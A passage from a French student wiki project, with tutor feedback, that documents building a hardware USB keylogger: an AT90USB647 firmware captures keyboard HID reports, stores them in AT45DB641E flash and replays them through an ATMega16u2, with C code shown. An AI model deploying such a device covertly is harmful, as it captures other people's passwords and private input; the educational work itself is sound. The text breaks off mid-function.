Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.

Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]<ref>[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]</ref>.

ReX : Heu je te vois taper sur ton clavier ?

Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.

ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !

=== Semaine 3 ===
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance.

Fichier : [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]

Question : Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel.

Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.

=== Semaine 4 ===
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.

ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.

Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].

''MassStorage :'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.

ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.

Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.

ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.

'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).

ReX : Oui :)

''KeyboardHost :'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.

ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.

Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.

ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.

Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.

ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.

Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?

ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...

<s>J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :</s>

Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.

J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.

D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.

ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.

<syntaxhighlight lang="c">
// Et ça m'affiche le caractère A sur l'écran LED
putchar('A');
</syntaxhighlight>
[[Fichier:Arduino-LCD & At90.jpg|centré|vignette|Montage Arduino/LCD & KeyLogger]]
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.

ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?

Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.

ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.

'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)

J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.

Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]

ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.

=== Semaine 5 ===

==== Mémoire ====
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]<ref>Vidéo test mémoire par commande</ref>.

ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.

Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.

Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]<ref>Test mémoire en écriture et lecture</ref>.

On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].

J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.

ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).

==== Gestion clavier USB ====
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]<ref>Vidéo démo du programme KeyboardHost sur l'AT90</ref>.

ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.

On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.

Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur<ref name=":0" group="Code associé">Configuration de l'horloge</ref>. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].

ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).

En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]<ref>Vidéo AT90 et Arduino/LCD qui récupère les caractères</ref>.

ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.

[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]

Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]<ref>Vidéo démo Clavier -> AT90 (USART) -> ATMEGA -> PC</ref>. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).

On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.

ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).

Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.

ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.

==== Keylogger ====
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.

ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.

Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :
<syntaxhighlight lang="c" line="1">
int main(void)
{
CLKPR = (1<<CLKPCE);
CLKPR = 0;
MCUCR |= (1<<JTD);
MCUCR |= (1<<JTD);

SetupHardware();

puts_P(PSTR(ESC_FG_CYAN "Keyboard HID Host Demo running.\r\n" ESC_FG_WHITE));

LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);
GlobalInterruptEnable();

/* Variable for the AT45DB641E */
int page_start = 0;
int page_actual = page_start;
int page_buffer_size = 0;

for (;;)
{
KeyboardHost_Task(&page_actual, &page_buffer_size);
Flash_Task(&page_start, &page_actual, &page_buffer_size);
USB_USBTask();
}
}

// ...

void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
// ...
/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
unsigned char data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

/* Serial communication */
Serial_SendByte(KeyCode);

// ...
}
</syntaxhighlight>

ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).

Dans ma logique, j'utilise trois variables : <code>page_start</code> qui est la page où l'on commence l'écriture, <code>page_actual</code> qui indique la page courante et <code>page_buffer_size</code> qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.

ReX : La variable <code>page_start</code> me semble inutile.

L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page <code>page_actual</code>. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).

Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->KeyCode[0] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction <code>Serial_SendData</code> pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.

ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique).

ReX : Le problème pour l'envoi de l'octet <code>modifier</code> est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).

<s>De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).</s> Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.

Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. <syntaxhighlight lang="c" line="1">
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();
uint8_t Ending_Byte;
do {
Ending_Byte = Serial_ReceiveByte();
} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = *page_start;
*page_buffer_size = 0;
}

if (Command_Byte == SERIAL_FLASH_GET)
{
uint8_t data[FLASH_PAGE_SIZE];

int address, j;
for (address = (*page_start); address <= (*page_actual); address++)
{
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (j = 0; j < ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)
{
/* Communicating data by serial connection */
while (!Serial_IsSendReady());
Serial_SendByte(data[j]);
Serial_SendByte(data[j+1]);
while (!Serial_IsSendComplete());
_delay_ms(50);
}
}
}
}
}
</syntaxhighlight>'''Explications :'''

* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.
* Ensuite on effectue une tâche selon le code:
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.
*** On parcourt toutes les pages qui ont pu être enregistrées.
*** On récupère les touches tapées sur la page.
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)

A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à <code>page_actual</code> qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt <codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.

ReX : Le délai me paraît non nécessaire par contre les deux <code>Serial_SendByte</code> sans attente entre les deux me paraît joueur. Sauf si <code>Serial_SendByte</code> est bloquant mais je parierais pas.

Concernant la fonction de gestion de la flash du côté de l'ATMega :
<syntaxhighlight lang="c" line="1">
void Flash_Task(void)
{
uint8_t ButtonStatus_LCL = Buttons_GetStatus();

/* Reset flash button */
if (ButtonStatus_LCL & BUTTONS_BUTTON1){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_RESET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}

/* Get all the flash */
if (ButtonStatus_LCL & BUTTONS_BUTTON2){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_GET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}
}
</syntaxhighlight>

On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction <code>Flash_Task</code> d'être executée plus d'une fois.

ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.

Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :

<syntaxhighlight lang="c" line="1">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
uint8_t ReceivedByte;
ReportData->KeyCode[0] = Serial_ReceiveByte();
do {
ReceivedByte = Serial_ReceiveByte();
} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData->KeyCode[0]));

ReportData->Modifier = ReceivedByte;
}
}
</syntaxhighlight>

ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.

Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :
<syntaxhighlight lang="c" line="1">
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
//..

uint8_t KeyCode = KeyboardReport.KeyCode[0];
uint8_t Modifier = KeyboardReport.Modifier;

/* Check if a key has been pressed */
if (KeyCode)
{
/* Toggle status LED to indicate keypress */
LEDs_TurnOnLEDs(LEDS_LED2);

/* Serial communication */
Serial_SendByte(KeyCode);
Serial_SendByte(Modifier);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;
data[(*page_buffer_size)++] = Modifier;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

LEDs_TurnOffLEDs(LEDS_LED2);
}
}

// ...
}
</syntaxhighlight>

ReX : Même remarque sur les deux <code>Serial_SendByte</code> consécutifs et sur la méthode pour envoyer modificateur et codes de touches.

En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction <code>Serial_SendByte</code>, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.

ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un <code>while(!Serial_IsSendComplete());</code> entre les deux <code>Serial_SendByte</code> ?

On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].

On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.

On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]<ref>Vidéo démo du Keylogger</ref>.

Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.

ReX : Toujours une très bonne vidéo de démonstration.

Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?

ReX : Ils passent en mode DFU ?

Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].

===== Modification du Keylogger =====
J'ai apporté des modifications sur l'envoie et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de <code>string.h</code> afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions <code>memset</code> et <code>memcpy</code>.

Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie <code>Serial.h</code> de LUFA. Le déroulé se passe comme ci-dessous :<syntaxhighlight lang="c">
while(!Serial_IsSendReady());
Serial_SendData(tableau_de_7_octets);
while(!Serial_IsSendComplete());
.....
while(!Serial_IsSendComplete());
</syntaxhighlight>Et pour la réception :<syntaxhighlight lang="c">
if (Serial_IsCharReceived())
{
uint8_t Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
uint8_t KeyCode1 = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
...
uint8_t KeyCode5 = Serial_ReceiveByte();
}
</syntaxhighlight>Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.

De plus, j'ai ajouté les 5 autres KeyCode qui pourrait être renseigner via le rapport clavier sur l'AT90.

On peut voir ci-dessous la nouvelle fonction de création et d'envoie de rapport clavier de l'AT90. Tout d'abord, on enregistre tout les codes à envoyé dans un tableau de 7 octets. Ainsi on a juste à utiliser la fonction <code>Serial_SendData</code> pour envoyé en une fois tout les codes en une fois. Ensuite on vérifie si on doit passer à la page suivante dans la flash ou non, et puis on vérifie si on doit enregistrer ou non le buffer de la flash dans la mémoire, pour finir par remplir le buffer de la flash.<syntaxhighlight lang="c" line="1">
/* Serial communication */
uint8_t Data_to_Send[7];

Data_to_Send[0] = KeyboardReport.Modifier;
Data_to_Send[1] = KeyboardReport.KeyCode[0];
Data_to_Send[2] = KeyboardReport.KeyCode[1];
Data_to_Send[3] = KeyboardReport.KeyCode[2];
Data_to_Send[4] = KeyboardReport.KeyCode[3];
Data_to_Send[5] = KeyboardReport.KeyCode[4];
Data_to_Send[6] = KeyboardReport.KeyCode[5];

while(!Serial_IsSendReady());
Serial_SendData(Data_to_Send, 7);
while(!Serial_IsSendComplete());
_delay_ms(10);

/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == (FLASH_PAGE_INDEX_MAX+1)) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Checking if the flash buffer is full */
if (*flash_buffer_i == FLASH_BUFFER_SIZE) {
/* Recup of the data of the actual page to re-write on */
uint8_t data[FLASH_PAGE_SIZE];
if (*page_buffer_size != 0)
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

memcpy(&(data[*page_buffer_size]), flash_buffer, FLASH_BUFFER_SIZE);

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*page_buffer_size += FLASH_BUFFER_SIZE;
*flash_buffer_i = 0;
}

/* Writing the Modifier and Keycodes in the flash_buffer */
for (int i = 0; i < 7; i++) flash_buffer[(*flash_buffer_i)++] = Data_to_Send[i];
</syntaxhighlight>Concernant l'envoie des touches mémorisés qui se trouvent dans la fonction <code>Flash_Task</code> :<syntaxhighlight lang="c">
void Flash_Task(int *page_actual, int *page_buffer_size, uint8_t *flash_buffer, int *flash_buffer_i)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = 0;
*page_buffer_size = 0;
memset(flash_buffer, 0, FLASH_BUFFER_SIZE);
*flash_buffer_i = 0;
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0xC7, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x94, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x80, NULL, 0);
AT45DB641E_cmd(&SPI_PORT, SPI_SS, 0x9A, NULL, 0);
}

if (Command_Byte == SERIAL_FLASH_GET)
{
int address, byte;
uint8_t Data_to_Send[7];
for (address = 0; address <= (*page_actual); address++)
{
